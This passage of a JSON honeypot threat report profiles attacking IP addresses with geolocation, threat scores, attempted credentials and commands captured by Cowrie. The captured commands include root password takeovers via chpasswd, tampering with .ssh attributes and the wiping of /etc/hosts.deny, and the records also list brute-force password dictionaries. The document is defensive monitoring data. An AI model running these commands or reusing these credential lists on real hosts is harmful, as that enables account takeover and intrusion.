        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.239.79.44": {
      "attack_count": 2,
      "first_seen": "2026-05-06T06:52:37.908Z",
      "last_seen": "2026-05-06T06:53:09.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:52:37.908000+00:00",
        "last_seen_30d": "2026-05-06T06:54:15.341000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.47.8.72": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:51:20.197Z",
      "last_seen": "2026-05-16T15:51:33.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Raipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:51:20.197000+00:00",
        "last_seen_30d": "2026-05-16T15:52:43.146000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.91.33.102": {
      "attack_count": 2,
      "first_seen": "2026-05-19T07:06:39.418Z",
      "last_seen": "2026-05-19T07:06:52.987Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:06:39.418000+00:00",
        "last_seen_30d": "2026-05-19T07:07:54.290000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.169.156.156": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:01:15.390Z",
      "last_seen": "2026-05-03T15:01:17.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Maurepas",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:01:15.390000+00:00",
        "last_seen_30d": "2026-05-03T15:02:19.523000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "94.59.97.218": {
      "attack_count": 2,
      "first_seen": "2026-05-26T05:11:22.641Z",
      "last_seen": "2026-05-26T05:11:35.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Al Ain City",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T05:11:22.641000+00:00",
        "last_seen_30d": "2026-05-26T05:12:42.784000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.208.115.149": {
      "attack_count": 10214,
      "first_seen": "2026-05-11T12:43:50.930Z",
      "last_seen": "2026-05-12T09:18:04.091Z",
      "sessions": 5090,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 6698,
      "as_org": "Virtual Systems LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15742,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:43:50.930000+00:00",
        "last_seen_30d": "2026-05-12T09:20:52.677000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10214,
        "Suricata": 5528
      }
    },
    "2.57.121.25": {
      "attack_count": 4533,
      "first_seen": "2026-05-02T00:11:27.849Z",
      "last_seen": "2026-05-31T23:33:07.478Z",
      "sessions": 501,
      "ports": [],
      "usernames_attempted": [
        "user",
        "arozel"
      ],
      "passwords_attempted": [
        "10011975",
        "10021976",
        "10021977",
        "10021992",
        "100382",
        "%%passwo",
        "000",
        "0011",
        "01011955",
        "01011957",
        "01011962",
        "01011963",
        "01011969",
        "01012005",
        "01012008",
        "010183",
        "010187",
        "010188",
        "0102",
        "01021975"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6042,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:11:27.849000+00:00",
        "last_seen_30d": "2026-05-31T23:34:11.431000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4533,
        "Suricata": 1509
      }
    },
    "45.148.10.121": {
      "attack_count": 1990,
      "first_seen": "2026-05-02T00:39:51.553Z",
      "last_seen": "2026-05-31T22:23:47.304Z",
      "sessions": 384,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "AdminGPON",
        "user",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ALC#FGU",
        "user",
        "root",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.client.fingerprint"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4096,
        "days_active_30d": 30,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:37:16.462000+00:00",
        "last_seen_30d": "2026-05-31T22:24:54.048000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1964,
        "Cowrie": 1910,
        "Honeytrap": 222
      }
    },
    "47.236.109.229": {
      "attack_count": 605,
      "first_seen": "2026-05-22T11:43:46.432Z",
      "last_seen": "2026-05-22T12:21:21.525Z",
      "sessions": 121,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "deploy",
        "frappe",
        "hadoop",
        "ubuntu",
        "user",
        "wang",
        "admin",
        "admin123",
        "admin2",
        "adminuser",
        "airflow",
        "aiuser",
        "amir",
        "app",
        "azureuser",
        "backup",
        "bob",
        "bot"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "!qaz@WSX",
        "0",
        "0000",
        "111",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "123@@@",
        "1qaz@WSX3edc",
        "Aa123321",
        "Aa@123456",
        "Abc123456",
        "Admin123",
        "Huawei12",
        "Huawei123",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 856,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:43:46.432000+00:00",
        "last_seen_30d": "2026-05-22T12:22:29.324000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 605,
        "Suricata": 251
      }
    },
    "167.172.203.111": {
      "attack_count": 527,
      "first_seen": "2026-05-20T07:59:23.791Z",
      "last_seen": "2026-05-28T23:31:14.114Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "ali",
        "claude",
        "foo",
        "ll",
        "sammy",
        "user",
        "xh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "11111111",
        "1234",
        "123456",
        "159753",
        "1967",
        "Ab-1234567890",
        "Admin#123",
        "P@ssw0rd!!!",
        "P@ssw0rd1",
        "P@ssword123",
        "admin@123",
        "alegna",
        "arcsight",
        "claude",
        "d0nk3r",
        "elmismo",
        "elsearch"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nymXq1IVjEd8d\\nymXq1IVjEd8d\\n\"|passwd",
        "echo \"root:0ephWyaFvmXe\"|chpasswd|bash",
        "echo \"root:5jchGTYNAmNy\"|chpasswd|bash",
        "echo \"root:yDghWvcuSlnX\"|chpasswd|bash",
        "echo \"rootroot\\nNklp8QrgRqbx\\nNklp8QrgRqbx\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nymXq1IVjEd8d\\nymXq1IVjEd8d\"|passwd|bash",
        "echo -e \"rootroot\\nNklp8QrgRqbx\\nNklp8QrgRqbx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 52.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 632,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:47:18.700000+00:00",
        "last_seen_30d": "2026-05-28T23:32:22.949000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 527,
        "Suricata": 105
      }
    },
    "209.99.189.177": {
      "attack_count": 477,
      "first_seen": "2026-05-18T17:45:33.177Z",
      "last_seen": "2026-05-20T03:36:42.504Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0815",
        "1101",
        "123456qq!",
        "123987",
        "159357",
        "1940",
        "1989",
        "26262626",
        "54321",
        "Dd123456789",
        "Huawei12#$",
        "P@ssw0rd123456",
        "PlcmSpIp123",
        "Qwert@123",
        "ZAQ!XSW@",
        "a1s2d3f4",
        "app123",
        "banan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:041kAjhEkM6s\"|chpasswd|bash",
        "echo \"root:KEJDigJRTQxn\"|chpasswd|bash",
        "echo \"root:WCgBZRK7tSb0\"|chpasswd|bash",
        "echo \"root:jZmaKJaE8LR3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 592,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:45:33.177000+00:00",
        "last_seen_30d": "2026-05-20T03:37:45.420000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 477,
        "Suricata": 115
      }
    },
    "43.130.27.53": {
      "attack_count": 404,
      "first_seen": "2026-05-17T12:18:40.591Z",
      "last_seen": "2026-05-18T04:11:34.653Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc$RFV",
        "$*%$@^@^(%^*#",
        "11223311",
        "12345",
        "123546",
        "13579",
        "1qazse4",
        "2big4you",
        "K0nig@12",
        "Kt@123456",
        "aa123",
        "abcd123@",
        "admin001",
        "anyang",
        "asdf0987",
        "bertha",
        "danielle",
        "debbie"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2qwLhO9qcXZb\"|chpasswd|bash",
        "echo \"root:sKALD815pvIT\"|chpasswd|bash",
        "echo \"root:zzK1Y9zGaFlf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:18:40.591000+00:00",
        "last_seen_30d": "2026-05-18T04:12:41.882000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 102
      }
    },
    "61.76.112.4": {
      "attack_count": 380,
      "first_seen": "2026-05-21T11:35:15.221Z",
      "last_seen": "2026-05-21T12:16:00.101Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "shen",
        "socks",
        "yu",
        "fan",
        "guest",
        "kazuki",
        "mysqld",
        "user",
        "wangluo",
        "zhihu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "1993",
        "R00t",
        "Winter2024",
        "apex123",
        "fan123",
        "gonghao123",
        "hitachi",
        "master",
        "mysqld",
        "nanjing",
        "shen",
        "socks",
        "starhub",
        "wangluo",
        "wx123456",
        "yu123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:9MBTYIIOHweE\"|chpasswd|bash",
        "echo \"shen\\nVkHXI57KSEjo\\nVkHXI57KSEjo\\n\"|passwd",
        "echo \"socks\\ndl1wJgXtmk2Z\\ndl1wJgXtmk2Z\\n\"|passwd",
        "echo \"yu123\\n9bm6x0JYbvvs\\n9bm6x0JYbvvs\\n\"|passwd",
        "echo -e \"shen\\nVkHXI57KSEjo\\nVkHXI57KSEjo\"|passwd|bash",
        "echo -e \"socks\\ndl1wJgXtmk2Z\\ndl1wJgXtmk2Z\"|passwd|bash",
        "echo -e \"yu123\\n9bm6x0JYbvvs\\n9bm6x0JYbvvs\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:35:15.221000+00:00",
        "last_seen_30d": "2026-05-21T12:17:08.471000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 66
      }
    },
    "165.154.6.86": {
      "attack_count": 357,
      "first_seen": "2026-05-09T00:28:37.855Z",
      "last_seen": "2026-05-09T01:13:14.984Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "345gs5662d34",
        "root",
        "guest",
        "postgres",
        "sdtdserver",
        "sysadmin",
        "test",
        "test3",
        "ubuntu",
        "user",
        "vncuser",
        "administrator",
        "cmsadmin",
        "deployer",
        "ftptest",
        "git",
        "mysql",
        "user1",
        "webdeploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "qwerty",
        "123123",
        "1234",
        "123456",
        "1234567",
        "1qq2w3e4r5t",
        "P@SVVORD",
        "Password1",
        "abc123",
        "abc12345",
        "admin123...",
        "admin@pass",
        "aini130.",
        "database",
        "guest12345",
        "kuanke",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nwHo3XQ9IBISc\\nwHo3XQ9IBISc\\n\"|passwd",
        "echo \"guest12345\\nZthfueZqYaEP\\nZthfueZqYaEP\\n\"|passwd",
        "echo \"qwerty\\ntYkP6nVySJ64\\ntYkP6nVySJ64\\n\"|passwd",
        "echo -e \"1234\\nwHo3XQ9IBISc\\nwHo3XQ9IBISc\"|passwd|bash",
        "echo -e \"guest12345\\nZthfueZqYaEP\\nZthfueZqYaEP\"|passwd|bash",
        "echo -e \"qwerty\\ntYkP6nVySJ64\\ntYkP6nVySJ64\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:28:37.855000+00:00",
        "last_seen_30d": "2026-05-09T01:14:15.930000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 78
      }
    },
    "186.248.159.82": {
      "attack_count": 350,
      "first_seen": "2026-05-29T22:43:16.742Z",
      "last_seen": "2026-05-29T23:11:54.897Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "omm",
        "testuser",
        "examen",
        "ftpuser",
        "icp",
        "leon",
        "sysadmin",
        "teszt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111",
        "123123",
        "12345",
        "123456",
        "@Aa123123",
        "Admin@123@",
        "QWEASDzxc123",
        "Sj123456",
        "abc123",
        "examen",
        "icp",
        "ph0n3v0xn0v43r4",
        "qwER12#$",
        "teszt"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"111\\nou2uYM70sP6V\\nou2uYM70sP6V\\n\"|passwd",
        "echo \"123456\\nBx6meZk3tX48\\nBx6meZk3tX48\\n\"|passwd",
        "echo \"abc123\\nY8qJHHiRXatT\\nY8qJHHiRXatT\\n\"|passwd",
        "echo \"root:E52iBqiwn3MS\"|chpasswd|bash",
        "echo -e \"111\\nou2uYM70sP6V\\nou2uYM70sP6V\"|passwd|bash",
        "echo -e \"123456\\nBx6meZk3tX48\\nBx6meZk3tX48\"|passwd|bash",
        "echo -e \"abc123\\nY8qJHHiRXatT\\nY8qJHHiRXatT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 23106,
      "as_org": "AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:43:16.742000+00:00",
        "last_seen_30d": "2026-05-29T23:13:03.363000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 52
      }
    },
    "66.70.198.252": {
      "attack_count": 340,
      "first_seen": "2026-05-03T02:19:44.071Z",
      "last_seen": "2026-05-03T02:38:24.682Z",
      "sessions": 170,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
